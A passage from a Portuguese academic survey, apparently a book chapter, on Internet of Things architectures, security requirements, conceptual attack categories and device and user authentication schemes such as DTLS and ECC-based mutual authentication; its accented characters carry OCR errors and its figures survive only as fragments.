Uma rede de sensores de RFID (RSN) consiste de leitores RFID e sensores RFID, que
estendem a funcionalidade do RFID para prover sensoriamento. As RSNs combinam as
vantagens das etiquetas RFID, tais como: capacidade de identificacdo, baixo custo, vida
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longa, tamanho reduzido, capacidade de serem ativados, com as vantagens das redes de
sensores, a saber: capacidade de sensoriamento, comunica¢do em rede e maior capacidade
de processamento [Buettner et al. 2008].

O representante mais forte das RSN € a tecnologia WISP (Wireless Identification
and Sensing Platforms") do Intel Labs, que pode ser empregada em cendrios que nio
sdao adequados para as etiquetas RFID e para as redes de sensores, como em locais nos
quais as baterias ndo podem ser trocadas facilmente ou que precisam de identificacdo e
sensoriamento com custo baixo e possibilitam o uso de leitor mével. Contudo, algumas
limitagdes desta tecnologia ainda precisam de investigacoes, tais como, a integracao de
unidades de sensoriamento em uma rede mesh (constituindo uma verdadeira rede de
sensores) e a eficiéncia energética, permitindo que os nds da rede consigam armazenar
energia e processar dados de forma eficiente [Buettner et al. 2008].

Smart Gateway

Conforme Mabhalle et al. (2010), um dos fatores que torna desafiadora a integragdo dos
objetos (coisas) com a Internet sdo as restricdes de conectividade. Alguns dispositivos
nao suportam diretamente a conectividade com a Internet, por meio do protocolo IP. Para
estes casos, € possivel utilizar um dispositivo intermedidrio entre a Internet e o objeto,
chamado de Smart Gateway. Esse dispositivo fornece uma interface de comunicacdo
dos objetos com sistemas finais na Internet e vice-versa. Isso permite que sistemas finais
na Internet, que podem ser outros objetos, se comuniquem com os objetos através desse
Smart Gateway, sendo que este recebe as mensagens vindas da Internet e repassa ao objeto
por meio de sua API (Application Programming Interface) de comunicagao especifica, e
vice-versa.

Em outras palavras, o Smart Gateway atua como uma ponte entre a Internet e os
dispositivos inteligentes. Este tem um endereco IP e compreende os diferentes protocolos
dos dispositivos conectados a este através do uso de controladores (drivers) dedicados.
Assim, requisicdes vindas da Internet que visam acessar algum dispositivo irdo passar pelo
Smart Gateway, que ird redirecionar a requisicao através do protocolo especifico.

Padronizacao

A padronizagdo é um aspecto importante para a concretizacdo da IoT. Observa-se uma
intensa colaboragdo entre as entidades de padronizacdo, Grupos de Interesse e Aliancas de
fabricantes das tecnologias envolvidas, o que demonstra um grande interesse da industria
[Atzori et al. 2010].

Dentre os padrdes existentes, destaca-se o padrdo IEEE 802.15.4 que define as
LR-WPAN (Low-Rate Wireless Personal Area Networks), que sdo redes sem fio projetadas
para ter um baixo custo, baixo consumo de energia e pequeno alcance. Esse padrao define
apenas as camadas fisica e de enlace do modelo OSI, sendo que as camadas superiores nao
sdo especificadas [Atzori et al. 2010] [Baronti et al. 2007].

Thttps://wisp.wikispaces.com/
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A Zigbee Alliance é constituida por um grupo de empresas que padroniza e mantém
as especificacdes do Zigbee que define as camadas superiores do modelo OSI para serem
usadas sobre a especificacdo IEEE 802.15.4. A camada de rede do Zigbee € encarregada
de fazer a organizacao e o roteamento sobre uma rede de multiplos saltos, ja a camada de
aplicacdo prové um framework para o desenvolvimento de aplicagdes distribuidas [Baronti
et al. 2007].

Com a inten¢do de integrar os dispositivos que estdo em conformidade com o
padrdo IEEE 802.15.4 em uma rede IP e, assim, na Internet, foi criado pela IETF o grupo
de trabalho de integracao do IPv6 as redes IEEE 802.15.4, o 6LoWPAN (IPv6 over Low
power Wireless Personal Area Networks) [IETF 2007].

Com a inteng¢do de difundir o protocolo IP como padrdo de comunicacio entre
objetos, foi criada a IPSO Alliance, uma organizacdo sem fins lucrativos com mais de
sessenta companhias membros, dentre estas lideres mundiais dos mercados de TI, co-
municacao e energia. Dentre os objetivos da organizacao, estdo: apoiar as entidades de
padronizacao, como a IETF (Internet Engineering Task Force), no desenvolvimento de
padrdes que envolvem o protocolo IP e objetos inteligentes, assim como promover testes de
interoperabilidade e auxiliar as industrias na descoberta de novos mercados que envolvem
a integracdo do IP com objetos inteligentes [Alliance 2013].

4.2.2. Web das Coisas - Web of Things (WoT)

Haé uma tendéncia nas pesquisas atuais em tratar a Internet das Coisas como Web das Coisas,
nos quais os padrdes abertos da Web sdo empregados para prover o compartilhamento de
informacao e a interoperabilidade entre dispositivos [Zeng et al. 2011]. Segundo estes
autores, alguns motivos favorecem a WoT, dentre estes, destacam-se:

e A Web se tornou o principal meio de comunicagdo na Internet;

e Diversos pequenos servidores web embarcados estdao disponiveis. Estes podem ser
construidos em apenas alguns KBytes;

e Navegadores Web estao disponiveis para quase todos as plataformas, de computado-
res a smart phones e tablets, o que os tornam a interface de usudrio padrao de fato
para uma gama de aplicagdes;

e A tecnologia integradora dos servicos web tem se mostrado indispensédvel na criacao
de aplicagdes distribuidas interoperdveis para Internet;

e Coisas inteligentes (smart things), com servidores web incorporados, podem ser
abstraidas como servi¢os web e perfeitamente integradas na web existente;

e E natural a reutilizagdo de tecnologias e padrdes web existentes para unificar o
mundo cibernético ao mundo das coisas fisicas

e Como as tecnologias web existentes podem ser reutilizadas e adaptadas, € possivel
construir novas aplicagdes e servicos com a participagao das coisas inteligentes.
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Em suma, diferente do ponto de vista tradicional da IoT, que associa ao dispositivo
um endereco IP e os torna interconectados na Internet, a WoT habilita os dispositivos
a "conversarem'na mesma lingua, de modo que estes possam se comunicar e interagir
livremente na Internet. A interoperabilidade € particularmente essencial para concepcao de
sistemas com dispositivos heterogéneos produzidos por diferentes fabricantes. Na WoT,
a integracdo dos dispositivos ocorre no nivel de aplicacdo, acima da conectividade de
rede [Zeng et al. 2011, Guinard et al. 2011].

Ha dois métodos para integrar coisas a Web: integracdo direta e integracdo indireta.
Na direta, via smart things, é requerido que todas as coisas tenham um endereco IP
ou que tenham um [P habilitado quando conectados a Internet. Servidores web devem
ser embarcados nas coisas/dispositivos para que estas possam se entender por meio da
linguagem da Web. J4 na integracdo indireta, nem todos os dispositivos podem ter recursos
computacionais suficientes para embarcar um servidor web, como por exemplo uma
etiqueta RFID. Além disso, algumas vezes nao € necessdrio integrar diretamente todas as
coisas inteligentes dentro da Web, quando se considera custo, energia e a seguranca. Como
solugdo para integragdo indireta, pode-se usar de um proxy, chamado de smart gateway,
localizado entre os dispositivos inteligentes e a Web (ver Figura 4.3).

Os servigos Web sdo definidos pela W3C com um sistema de software projeto para
suportar a comunicacdo maquina para maquina (do inglés, machine-to-machine (M2M)
interoperavel sobre uma rede. Como a W3C atesta, existem dois grandes paradigmas
de servicos web: servicos Web em conformidade com o REST [Fielding e Taylor 2002]
(chamados de servigos web RESTful) e os servigos web arbitrdrios (conhecidos como
WS#) [Group 2004]. O objetivo principal dos servicos web RESTful ¢ manipular os
recursos da web usando um conjunto uniforme de operagdes sem estado. No segundo,
usa-se um conjunto arbitrario de operagdes. Ambos os paradigmas podem ser adotados
por smart things ou smart gateways.

As tecnologias chaves dos WS* s@o: o protocolo SOAP, a linguagem de descri¢ao
de servicos web (Web Service Description Language- WSDL), o Universal Description
Discovery and Integration(UDDI) e a Business Process Execution Language (BPEL).

Conforme definido em [Fielding e Taylor 2002], o REST (Representational State
Transfer) € um estilo de arquitetura de software, desenvolvido como um modelo abstrato
da arquitetura web, que que pode ser aplicado no desenvolvimento de sistemas distribuidos
fracamente acoplados, denominados RESTful. O conceito basico do REST € que qualquer
coisa € modelada como recurso, ou particularmente como recursos HTTP, com uma URI
(Uniform Resource Identifier). Os sistemas RESTful sao menos acoplados, mais leves,
eficientes (menos complexos) e flexiveis do que os sistemas baseados em Servigos Web
arbitrarios (WS*) que utilizam o protocolo SOAP. Essas caracteristicas fazem do REST a
opcdo mais adequada para ser embarcada em dispositivos com restricao de recursos e para
permitir a facil composi¢do de servigos web (i.e., mashup) [Guinard e Trifa 2009, Zeng
et al. 2011]. A WoT facilita a criagdo de mashups fisicos (objetos fisicos). Um mashup
Web é uma aplicagdo que utiliza diversos recursos web e os usa para criar outra aplicacao

Conforme ilustrado na parte direita da Figura 4.3, um dispositivo inteligente com
um servidor web embarcado € capaz de tornar diretamente acessivel na web a sua API
RESTH{ul para que outros dispositivos ou usudrios tenham acesso aos seus recursos. Quando
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um servidor web ndo € possivel ou desejado, pode-se utilizar um smart gateway para
interconectar um dispositivo ndo acessivel diretamente como um recurso Web. Um Smart
Gateway € um servidor Web que esconde a comunicag¢do entre os dispositivos de rede (por
exemplo, Bluetooth e Zigbee) e os clientes, através de controladores dedicados atras de
um servigo RESTful.

‘\‘\-\
',/ g
\/ Marshups
“\ fisicos <

. EY
[Navegador J | Link / ( API Restful
A BOokste Servidor wei]

Y
\'\ Hub de eventos @
Nuvem da web |
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Servidor web leve

Smart gateway Contrcilador Contrglador

Figura 4.3: Integracdo Direta e Indireta na Web das Coisas

4.2.3. Dominios de Aplicacoes na Internet das Coisas

As aplicagdes de IoT podem ser divididas em trés grandes areas [Xiang e Li 2012]:

e Social: aplicagdes que envolvem o desenvolvimento e cuidados social, urbano
e humano, como por exemplo, servigos publicos do Governo e saide eletronica
(e-health) para cidadios;

e Ambiental: aplicacdes que envolvem a protecdao, monitoramento e desenvolvimento
de recursos ambientais, por exemplo, aplica¢cdes na pecudria, agricultura, reciclagem
de recursos, gestdo de energia, dentre outros.; e

e Industrial: aplicacdes financeiras e comerciais entre companhias, organizagoes e
outras entidades, por exemplo, aplicagdes para pecudria, agricultura, reciclagem de
recursos, gestdo de energia, dentre outros.

[Atzori et al. 2010] agrupam os diferentes tipos de aplicagdes possiveis para [oT
em quatro dominios distintos dos anteriores. Sdo estes:

e Transporte e logistica: aplicacdes que envolvem meios de transporte de pessoas e de
mercadorias, assim como aplicacdes para rodovias;

e Cuidados com a sadde: aplicagdes para auxilio de cuidados com a saide das pessoas;
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e Ambientes inteligentes: aplicagdes que tornam escritdrios, casas, plantas industriais
e ambientes de lazer inteligentes; e

e Pessoal e social: aplicagdes que habilitam o usudrio a interagir com outras pessoas
para manter e criar relacionamentos.

4.3. Requisitos e Ameacas de Seguranca na Internet das Coisas

De acordo com [Roman et al. 2011b], a seguranca € identificada como um dos obstaculos
a serem transpostos para o efetivo uso da Internet das Coisas. Ao prover seguranca as
aplicacdes de IoT, por meio de uma infraestrutura de autenticacdo e de autorizagao, €
preciso garantir o comportamento autobnomo dos objetos e a interoperabilidade entre estes.

4.3.1. Requisitos de Seguranca na IoT

Tendo em vista as caracteristicas da [oT, [Alam et al. 2011, Roman et al. 2011b] apontam
diversos requisitos de seguranca para Internet das Coisas e indicam quais propriedades
de seguranca devem ser garantidas, sendo estas:

e Confidencialidade: dados sensiveis de usudrios ou organiza¢des podem estar contidos
nas transacdes na Internet das Coisas e, portanto, a confidencialidade de tais dados
deve ser assegurada;

e Integridade: dados armazenados e transmitidos ndo devem ser alterados, removidos
ou incluidos por usudrios ou dispositivos nao autorizados;

e Disponibilidade: manter os servigos/recursos da Internet das Coisas disponiveis para
acesso por usudrios e dispositivos autorizados em qualquer momento e a partir de
qualquer lugar, provendo assim o acesso a dados de forma continua;

e Autenticidade: necessidade de autenticagdo mutua, pois os dados de IoT sdo usados
para diferentes processos de tomada de decisdo e atuacdo, sendo que € necessario
que tanto o consumidor de recursos/servicos como o provedor sejam autenticados; e

e Privacidade: se refere a necessidade de prover aos usudrios meios para que estes
controlem a exposi¢do e a disponibilidade dos seus proprios dados e informacdes e
tenham maior transparéncia sobre como e por quem seus dados sdo usados.

[Babar et al. 2010] apontam alguns outros requisitos de seguranga que precisam
ser garantidos em IoT, dentre estes:

e Gestdo de Identidades: lida com a identificac@o e autenticacdo dos usudrios e dos
dispositivos/coisas em um sistema. Também controla acessos aos recursos deste
sistema associando direitos e restri¢des de acesso, de acordo com a identidade
estabelecida (autenticacdo e autorizagdo);

e Comunicac¢ado segura de dados: inclui a autenticacdo dos pares da comunicacao,
assegurando a confidencialidade e integridade dos dados transmitidos, impedindo o
repudio de uma transacdo e protegendo a identidade das entidades;
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e Acesso seguro a rede: garante a possibilidade de conexdo de rede ou o acesso a um
servigco apenas para dispositivos autorizados; e

e Resisténcia a violagdo: mantem os aspectos de seguranga, mesmo quando o disposi-
tivo for acessado fisicamente por um atacante.

Segundo [Mahalle et al. 2013b], a grande escala e escopo da IoT aumentam as
op¢Oes de interagdo dos usudrios com os sistemas, levando a necessidade de estender os
modelos atuais de privacidade, seguranca e gestdo de identidades para incluir a forma como
os usudrios interagem com os objetos. Neste sentido, também sdo levantados os requisitos
de que deve ser possivel identificar os objetos de maneira tnica, ou seja, diferenciar um
objeto do outro, além de permitir a autenticacdo unica de objetos na loT [Mahalle et al.
2013al].

Por fim, [Xiaohui 2012] e [Roman et al. 2011b] destacam o requisito da tolerancia a
faltas, que nos cendrios em geral, se refere ao sistema ndo falhar e funcionar normalmente,
mesmo diante da presenca de uma falta. Na Internet das Coisas, a tolerancia a faltas
consiste no sistema recuperar a transmissdo de dados e reparar a estrutura da rede (p. ex. a
sua topologia) de forma autdbnoma, mesmo diante de faltas em nds ou nos enlaces da rede.

Na Figura 4.4 sdo ilustrados os principais requisitos de segurancga para a Internet
das Coisas.

Seguranga na IoT Confidencialidade
Gestdo de Identidades <

devem ser Integridade
garantidas as
N /
Comunicacdo Segura < deve ser Propriedades - .
[ de Dgados J ] garantido(a) de Seguranca sao\‘t Privacidade
/ \ Autenticidade
[Acesso Seguro a Redej (Resisténcia a Violagéoj
Disponibilidade

Figura 4.4: Mapa Conceitual com os Principais Requisitos para a Internet das Coisas

4.3.2. Ameacas e Ataques na IoT

Em [Akram e Hoffmann 2008a], os autores afirmam que a IoT possibilita que sistemas
computacionais se tornem ubiquos e transparentes para os usudrios. Essa transparéncia,
juntamente com a onipresenca, sao potenciais ameacas para a privacidade dos usudrios,
bem como impde dificuldades para garantir a confidencialidade e a integridade dos dados
que ali trafegam. O compartilhamento de dispositivos com outras pessoas € uma das
principais ameacas de seguranga contra a privacidade dos usudrios, pois os dados podem
ser facilmente obtidos por pessoas ndo autorizados, uma vez que esta pessoa bastaria ter
acesso fisico ao dispositivo [Jindou et al. 2012].

Em [Liu et al. 2012], afirma-se que antes da existéncia da IoT, sistemas digitais
corrompidos eram em sua maioria incapazes de atuar no mundo fisico, porém no cendrio
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da 10T, dispositivos corrompidos podem atuar e influenciar o mundo fisico diretamente.
Por exemplo, um dispositivo que possua sensor de fumaca deve avisar uma central de
controle sempre que detectar fumaca no ambiente. Se este dispositivo for corrompido,
poderd emitir alertas falsos ou mesmo pode deixar de emitir alertas diante de uma real
situacdo de perigo com fumaca.

No cendrio da Internet das Coisas, quando um né envia dados para um outro
nd6 da rede ou mesmo para um né acessivel através da Internet, esses dados podem ser
armazenados temporariamente nos nés intermedidrios que atuam como roteadores. Assim,
entre a origem e o destino de uma determinada informac¢ao, podem existir diversos nos
intermedidrios que, se forem maliciosos, poderdo alterar a informagdo em transito ou ainda
ndo encaminhar a informacao para o destino final [Conzon et al. 2012].

[Babar et al. 2011] apresentam uma divisdo dos tipos de ataques na Internet das
Coisas em cinco categorias, relacionadas a seguir:

e Ataques Fisicos: sio ataques que violam o hardware do dispositivo e sdo dificeis de
executar, pois o material necessario para executar os ataques € caro. De-packaging
de um chip, micro-probing e layout reconstruction sdo técnicas usadas para esse tipo
de ataque;

e Ataques no canal de comunicacio: ataques baseados em dados recuperados dos
dispositivos responsdveis por operacdes criptograficas. Esses dados sdo obtidos
através de andlise de temporizagdo, radiacdao emitida, poténcia consumida, dentre
outras fontes, que permitem que a chave de criptografia usada seja inferida;

e Ataques de andlise de criptografia: ataques com foco no texto cifrado, buscando
encontrar a chave de criptografia para assim obter o texto em claro. Um dos ataques
dessa categoria € o ataque do Homem do Meio (Man in the Middle - MITM);

e Ataques de software: exploram vulnerabilidades dos softwares presentes no dispo-
sitivo. Inclui ataques de exploracdo de estouro do buffer (buffer overflow) e uso de
programas cavalos de tréia, worms e virus para injetar c6digo malicioso no sistema;

e Ataques de rede: no meio sem fio a transmissao € por difusao (broadcast) e assim
h4 vulnerabilidades inerentes ao proprio meio. Nessa categoria entram ataques como
captura e analise de trafego (eavesdropping), negacao de servico (Denial of Service —
DoS), corrup¢do de mensagens, ataques de roteamento, dentre outros.

[Bonetto et al. 2012] destacam que as redes sem fio, como as utilizadas na IoT, sdo
propensas a diversos tipos de ataques, tais como: captura de informacoées (eavesdroping),
que viola a propriedade da confidencialidade; mascaramento, no qual um né se faz passar
por outro, ferindo assim a propriedade da autenticidade; e ainda a negacao de servico,
que viola a propriedade de disponibilidade. Sobre a negacao de servigo, [Mahalle et al.
2012] citam a topologia dindmica da rede, menor largura de banda e restricdes de energia
como vulnerabilidades que propiciam este tipo de ataque.

Em [Mabhalle et al. 2013a], sao descritas preocupagdes de seguranca relacionadas
com o ingresso dos dispositivos na rede. No momento do ingresso na rede, informagdes
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sobre chaves criptograficas, pardmetros de dominio e outras configuragdes podem ser
capturadas por entidades maliciosas e estas poderiam fazer uso dessas informagdes para
interceptar e reencaminhar dados de forma a nao ser percebido, caracterizando um ataque
de man in the middle. Além disso, caso o protocolo de estabelecimento de chaves seja
comprometido, ndo s6 a confidencialidade da comunicagdo serd comprometida, mas
também a autenticidade dos nds participantes pode estar em risco, ja que muitas vezes
0s nés comunicantes ndo tem conhecimento prévio um do outro. Segundo os autores,
€ possivel realizar o ataque de esgotamento de recursos (DoS), uma vez que que neste
ambiente os recursos computacionais e de energia sdo limitados.

[Mahalle et al. 2012] apontam que o ataque de man in the middle, pode levar
ao ataque de mensagem antiga, no qual o atacante busca utilizar de mensagens antigas
(interceptadas) para se comunicar com outros dispositivos, a fim de obter respostas desses
dispositivos que inicialmente ndo seriam para ele, mas sim para o remetente da mensagem
original.

[Jara et al. 2011] indicam a possibilidade de corromper mensagens de identificacao
ou de localizagdo em arquiteturas de IoT que fazem uso do protocolo 6LoWPAN [Monte-
negro et al. 2007]. Corromper tais mensagens levaria a falhas na seguranca da rede, uma
vez que um intruso poderia enviar mensagens falsas de atualizac@o sobre a localizagcdo de
um no, fazendo com que mensagens nao chegassem ao seu destino ou fossem enviadas
para o né malicioso. Isso ainda permitiria a ocorréncia de ataques de negacao de servigo
através de envio em massa de mensagens (flood).

[Nguyen et al. 2010] abordam dois outros tipos de ataques: chave compartilhada
e sybil. No ataque de chave compartilhada (shared-key attack), o atacante conhece o
mecanismo de distribui¢do de chaves do ambiente e, sabendo que dois nés estao proximos,
supde que estes compartilhem um mesmo espacgo de chaves. O ataque ocorre quando a
chave compartilhada pelos dispositivos também pode ser inferida pelo atacante, compro-
metendo a seguranca do sistema. O ataque sybil é caracterizado quando um né malicioso
assume multiplas identidades falsas com o objetivo de roubar ou forjar a identidade de um
no legitimo.

Por fim, [Liu et al. 2012] ressaltam também a existéncia do ataque de controle de
chaves (key control attack), no qual uma dos participantes da comunicac¢do forca os demais
participantes a escolherem chaves criptograficas dentro de um conjunto restrito de valores
ou mesmo um valor pré-determinado. Desta forma, o atacante influencia o processo de
escolha de chaves criptogréficas de modo a facilitar a obtencdo do controle sobre os dados
trafegados.

4.4. Autenticacao e Autorizacio na Internet das Coisas

Autenticacdo e Autorizagdo (controle de acesso) sdo conhecidos como elementos centrais
para tratar a seguranga em sistemas distribuidos. Uma forma para prover estes controles é
através de uma infraestrutura de autenticacao e de autorizacao (IAA) que prové a gestao
de identidades (Identity Management - IdM). IdM pode ser entendida como o conjunto
de processos e tecnologias usados para garantir a identidade de uma entidade (usuério ou
um dispositivo), garantir a qualidade das informag¢des de uma identidade (identificadores,
credenciais e atributos) e para prover procedimentos de autenticagdo e de autorizacao [ITU
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2009]. As entidades envolvidas em um sistema de IdM sdo: (i) usudrio ou dispositivo,
entidade que utiliza um servigo fornecido por um provedor de servigos; (ii) provedor de
identidades (Identity Provider - IdP), responsavel por manter a base de dados de usuérios
do dominio e validar suas credenciais (autenticar usudrios); e (ii1) provedor de servi¢os

(Service Provider - SP), que oferece recursos ou servigos aos usudrios [Wangham et al.
2010].

Na IoT, os dispositivos podem pertencer a mais de uma rede ou dominio adminis-
trativo, cendrio que [Horrow e Sardana 2012] chamam de Internetwork of Things. Esta
situacdo pode afetar o funcionamento dos procedimentos de autenticacdo e de autorizacio,
em funcdo da mobilidade destes dispositivos entre redes diferentes.

Esta secdo aborda os conceitos e modelos de autenticacio e de autorizagdo para
Internet das Coisas, considerando as particularidades deste cendrio. Na literatura, a
autenticacdo na [oT é tratada de forma diferente para usudrios e para dispositivos. Nas
secdes a seguir, 0s conceitos e técnicas apresentados também seguem essa distingao.

4.4.1. Autenticacao de Usuarios

Na Internet das Coisas, usudrios interagem com muitos dispositivos inteligentes ou prove-
dores de servigos (Service Providers - SPs) para obter algum servigo util para eles. Para
que um usudrio acesse um objeto/dispositivo na loT, muitas vezes, € necessario que este
passe por um processo de autenticagdo.

Alguns trabalhos na literatura seguem o modelo de autenticacdo centralizada,
baseada em uma terceira parte confiavel. [Li et al. 2010] propdem o uso do LDAP (
Lightweight Directory Access Protocol) em conjunto com o mecanismo de autenticagao
Kerberos, para prover autenticacdo tnica (Single Sign On) de usudrios na IoT.

Em [Konidala et al. 2005], para que um usudrio acesse um provedor de servigo, este
precisa apresentar um foken de acesso assinado (emitido) por uma terceira parte confidvel
(Authorized Server - AS) tanto para o usudrio, quanto para o SP. Cada usudrio precisa fazer
um cadastro inicial neste servidor central (AS), o qual deve fornecer um identificador tnico
e senha. Para obter o foken de acesso (capability), o usudrio precisa se autenticar no AS,
fazendo uso de sua senha. O SP verifica a assinatura do token e analisa o contetddo do
mesmo para concluir o processo de autenticacdo do usudrio.

[Rotondi et al. 2011] fazem uso de criptografia de chave puiblica como técnica de
autenticacdo de usudrios na IoT. Neste trabalho, as requisi¢cdes de acesso sdo assinadas
digitalmente com as chaves privadas correspondentes as chaves publicas presentes nos
certificados. Dessa forma, € possivel garantir a autenticidade dos usudrios diante dos
dispositivos. Este trabalho encontra-se descrito na Se¢do 4.6.1.5.

Devido a caracteristica da [oT, na qual nem sempre usudrios e dispositivos estdo em
um mesmo dominio de rede, uma abordagem de autenticacdo centralizada, por exemplo,
que faz uso de um centro de distribuicdo de chaves (Key Distribution Center — KDC), pode
ndo ser indicada para realizar a autentica¢do do usudrio [Liu et al. 2012]. Uma abordagem
centralizada pode ser empregada apenas se um Unico e amplamente aceito provedor de
identidades ou KDC estiver disponivel.

Um modelo de gestao de identidades mais adequado ao cenério de IoT € o modelo
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baseado em identidades federadas [Akram e Hoffmann 2008c, Liu et al. 2012]. Neste
modelo, o usudrio se autentica no provedor de identidades do seu dominio e este provedor
fornece as afirmacdes necessdrias para que os provedores de servicos de outros dominios
da IoT confiem na autenticacdo realizada e recebam o atributos do usudrio. Em [Liu
et al. 2012], os autores propdem um mecanismo para autenticacdo de usudrios que segue
o modelo de identidades federadas, conforme apresentado na secdo 4.6.1.7. [Akram e
Hoffmann 2008c] destacam o uso do OpenID como uma das solu¢des para gestdo de
identidades federadas do Hydra Middleware (maiores detalhes na Secdo 4.6.2.1).

4.4.2. Autenticaciao de Dispositivos

[Mahalle et al. 2012] propdem um método de autenticacdo mutua para IoT focado
em dispositivos que estejam em um unico dominio. Um dispositivo, ao ingressar na
rede, recebe um par de chaves assimétricas e um pardmetro de dominio de um centro de
distribuicao de chaves confidvel (Key Distribution Center — KDC). Esse parametro de
dominio foi utilizado pelo KDC no processo de geracao do par de chaves entregue ao
dispositivo, com base em um protocolo de criptografia de curvas elipticas (Elliptic Curve
Cryptography — ECC). Assim, quando dois dispositivos desejam se comunicar dentro
do dominio de um mesmo KDC, eles usam o protocolo ECCDH para o estabelecimento
de uma chave privada, que sera utilizada para a comunicacao entre eles. A base para o
estabelecimento dessa chave é o pardmetro de dominio e a chave publica de cada um dos
dispositivos.

Ap6s o estabelecimento dessa chave privada, ocorre o processo de autenticagao
entre os dispositivos. Esse processo se da através de protocolo de desafio resposta, que
utiliza como base a chave privada estabelecida, um timestamp e um nimero aleatério
gerado por uma das partes da comunicacdo. Também sdo utilizados no processo de
autenticacdo a habilidade apresentada por cada um dos dispositivos. A habilidade é um
token que contém a identidade do dispositivo, um conjunto de direitos de acesso e um
hash dos dois campos anteriores. Esse hash € aplicado com o método CBC MAC, visando
garantir a integridade das mensagens. Por fim, o dispositivo que serd acessado verifica se o
token de habilidade enviado pelo outro dispositivo € igual ao que este tem armazenado. Se
sim, e se o resultado do desafio-resposta for correto, o processo de autenticagdo mutua esta
finalizado e foi bem-sucedido.

[Kothmayr et al. 2012] apresentam uma arquitetura de seguranca para loT baseada
no Datagram Transport Layer Security (DTLS) [Rescorla e Modadugu 2012] e fazem
uso de certificados digitais no processo de autenticacao de dispositivos. Nesta arquitetura,
sdo propostos trés atores: publisher — dispositivo produtor; subscriber — dispositivo
consumidor de recursos; e servidor de controle de acesso — equipamento com maior poder
computacional e responsdvel por aplicar o controle de acesso aos recursos dos dispositivos
produtores.

Sao apresentados dois cendrios, um no qual os dispositivos produtores possuem
Trusted Platform Modules (TPMs) e outro no qual os dispositivos nao possuem TPMs.
Para o primeiro cenério, o produtor estd apto a fazer handshake completo do DTLS com
o consumidor do recurso, sendo a autenticacdo mutua realizada através de certificados
X.509, emitidos por uma Autoridade Certificadora (AC), reconhecida por ambos.
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Para o segundo cendrio (dispositivos com restri¢cdes), a autenticacdo do produtor
¢ feita através do uso de uma chave compartilhada (Pre-Shared Key — PSK) da suite de
cifragem do TLS [Eronen e Tschofenig 2005]. Neste cendrio, o dispositivo possui um
conjunto de dados aleatdrios pré-instalados, chamados protokeys, que sdo usados para gerar
a PSK de uma sessdo. No processo de autenticacdo, o produtor gera uma identidade de
sessdo, composta por sua identidade? e alguns dados gerados aleatoriamente no momento
da autenticacdo. Em seguida, uma PSK € gerada por meio da aplicacdo de uma funcao
HMAC sobre essa identidade de sessao, tendo como chave neste processo a protokey.

O consumidor do recurso, por sua vez, deve se autenticar no servidor de controle
de acesso, o qual tem conhecimento das protokeys e da identidade de sessao do produtor.
Assim, o servidor de controle de acesso € capaz de gerar a PSK do dispositivo produtor
para essa sessdo e de repassa-la ao consumidor. Dessa maneira, o servidor de controle de
acesso valida a identidade do consumidor para o produtor, além de validar a identidade
(de sessao) do produtor para o consumidor. Sendo assim, o servidor de controle de acesso
precisa ser uma terceira parte confidvel nesta arquitetura.

De acordo com [Hummen et al. 2013], as restricdes dos objetos inteligentes da
IoT demanda por mecanismos de seguranca mais leves. O uso de certificados digitais para
autenticacdo de dispositivos €, em muitos casos, considerado impraticdvel. Neste trabalho,
os autores tiveram como objetivo comprovar que, com algumas modificagdes no processo
de handshake do protocolo do DTLS, o uso de certificados digitais torna-se um método
vidvel de autenticagdo em muitos cendrios da IoT.

Os autores descrevem trés modificacdes no processo de handshake do protocolo do
DTLS, visando sua otimizag¢do em funcdo das restricdes computacionais dos dispositivos
da IoT. A primeira modificacdo € voltada para ambientes em que o dispositivo se comunica
com um objeto ou servico fora de seu dominio, passando por um gateway. Neste caso,
durante o handshake do DTLS, o gateway verifica se o certificado ndo foi expirado ou
revogado, bem como valida a cadeia de certificagdo em nome do dispositivo, passando
para este somente as mensagens de handshakes DTLS que utilizarem certificados validos.

Outra forma de otimizacdo em funcao das restricdes computacionais € a retomada
de sessdo DTLS, na qual as operagdes criptograficas mais custosas e as verificacoes de
certificados sdo realizadas apenas uma vez em um handshake inicial. Para que isso seja
possivel, € necessario que o cliente, o servidor ou ambos mantenham informagdes sobre a
sessdo DTLS que foi estabelecida mesmo depois que esta seja desfeita. Isso permite que
a sessao DTLS seja reestabelecida futuramente em um tempo menor € com menor custo
computacional [Hummen et al. 2013].

A terceira modificacao sugerida por [Hummen et al. 2013] consiste na delegacdo
do primeiro handshake para o dono do dispositivo. Desta forma, quando um cliente desejar
acessar o dispositivo, o primeiro handshake DTLS, que inclui operacdes criptograficas
custosas e verificacOes de certificados, € feito entre o dono do dispositivo e o cliente.
Em seguida, o dono do dispositivo finaliza a sessao DTLS com o cliente e passa as
informacdes de retomada de sessdo para o dispositivo que, possuindo esses dados, consegue
reestabelecer a sessdo com o cliente como se tivesse sido o préprio dispositivo a estabelecer

ZEndereco IPv6 ou outra informagio que o dispositivo.
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a primeira sessdo DTLS. Esse processo é chamado de transferéncia de sessdao DTLS.

Em [Jara et al. 2011] € descrito um esquema de gerenciamento de mobilidade
segura para dispositivos que fazem uso do protocolo 6LoWPAN [Montenegro et al. 2007]
e que atravessam diferentes dominios administrativos. Os autores propdem uma solucao
para prover a autenticacdo entre dominios para os dispositivos moveis. Cada dominio
administrativo contém um gateway que € responsdvel por manter informacao sobre a
localizac@o dos dispositivos que ingressam em seu dominio e remover tal informacgao
quando estes saem do dominio. Assim, quando um dispositivo troca de dominio, este
envia uma mensagem de ingresso para o gateway do novo dominio, denominado Foreign
Gateway (F-GW), para que este atualize as informacdes de localizagdo do dispositivo,
acionando o gateway do dominio anterior, denominado Home Gateway (H-GW).

Para evitar que a mensagem enviada pelos dispositivos para troca de dominio seja
forjada, [Jara et al. 2011] propdem o uso de uma chave compartilhada entre o dispositivo
e seu H-GW. Essa chave é usada para assinar todas as mensagens sobre atualizacdo da
localizagao, trocadas entre dispositivo e 0 H-GW. Para assinar tais mensagens, os autores
propde o uso de do HMAC ou 0 CBC MAC, ja que estes sdo adequados para ambientes com
restricdes de recursos, ou ainda um método de assinatura digital baseado em criptografia
de curvas elipticas (ECC), proposto pelos autores.

[Bonetto et al. 2012] propdem um método leve que permite a protecao de dispositi-
vos de Internet das coisas através de criptografia forte e técnicas de autentica¢io, de modo
que os dispositivos com restricdo da IoT podem se beneficiar das mesmas funcionalidades
de seguranca que sdo tipicos de dominios sem restri¢des (Internet), sem, contudo, ter que
executar operagdes, computacionalmente intensivas para estes dispositivos. Para tornar
isso possivel, os autores propdem o uso de um né confidvel sem restricao (gateway) para
assumir as tarefas intensivas de computagdo. A solugdo proposta faz uso do protocolo
Extensible Authentication Protocol (EAP) [Aboba et al. 2004], para realizacao da au-
tenticagdo de dispositivos. O gateway faz um papel ativo intermediando o processo de
